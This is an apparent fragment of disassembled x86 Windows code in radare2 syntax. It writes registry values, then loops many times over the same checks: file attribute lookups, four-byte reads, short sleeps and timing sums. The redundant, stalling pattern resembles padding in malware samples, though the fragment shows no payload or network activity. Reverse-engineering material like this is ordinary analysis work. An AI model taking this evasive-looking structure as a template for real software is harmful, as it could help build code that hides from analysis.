add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315440c
push 0xb
lea eax, [esp + 0x228]
push eax
push 1
push ebx
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131544a1
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131544a1
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131544a1
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131544d5
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131544b5
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x1318319c]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x1315451a
fld dword [ecx]
call fcn.13155f10
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x24], al
mov byte [esp + ecx + 0x25], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x131544e4
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13154568
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154568
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13154568
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315459c
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315457c
push 4
lea eax, [esp + 0x20]
push eax
push 4
push ebx
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x1315460e
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315460e
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x1315460e
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154642
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154622
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131546a5
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131546a5
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131546a5
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131546d9
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131546b9
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13154732
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154732
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13154732
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154760
call esi
add eax, ebx
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc ebx
cmp ebx, 0xd
jl 0x13154742
xor eax, eax
inc eax
mov ecx, dword [esp + 0x8c24]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.13155e7a
add esp, 0x8c18
ret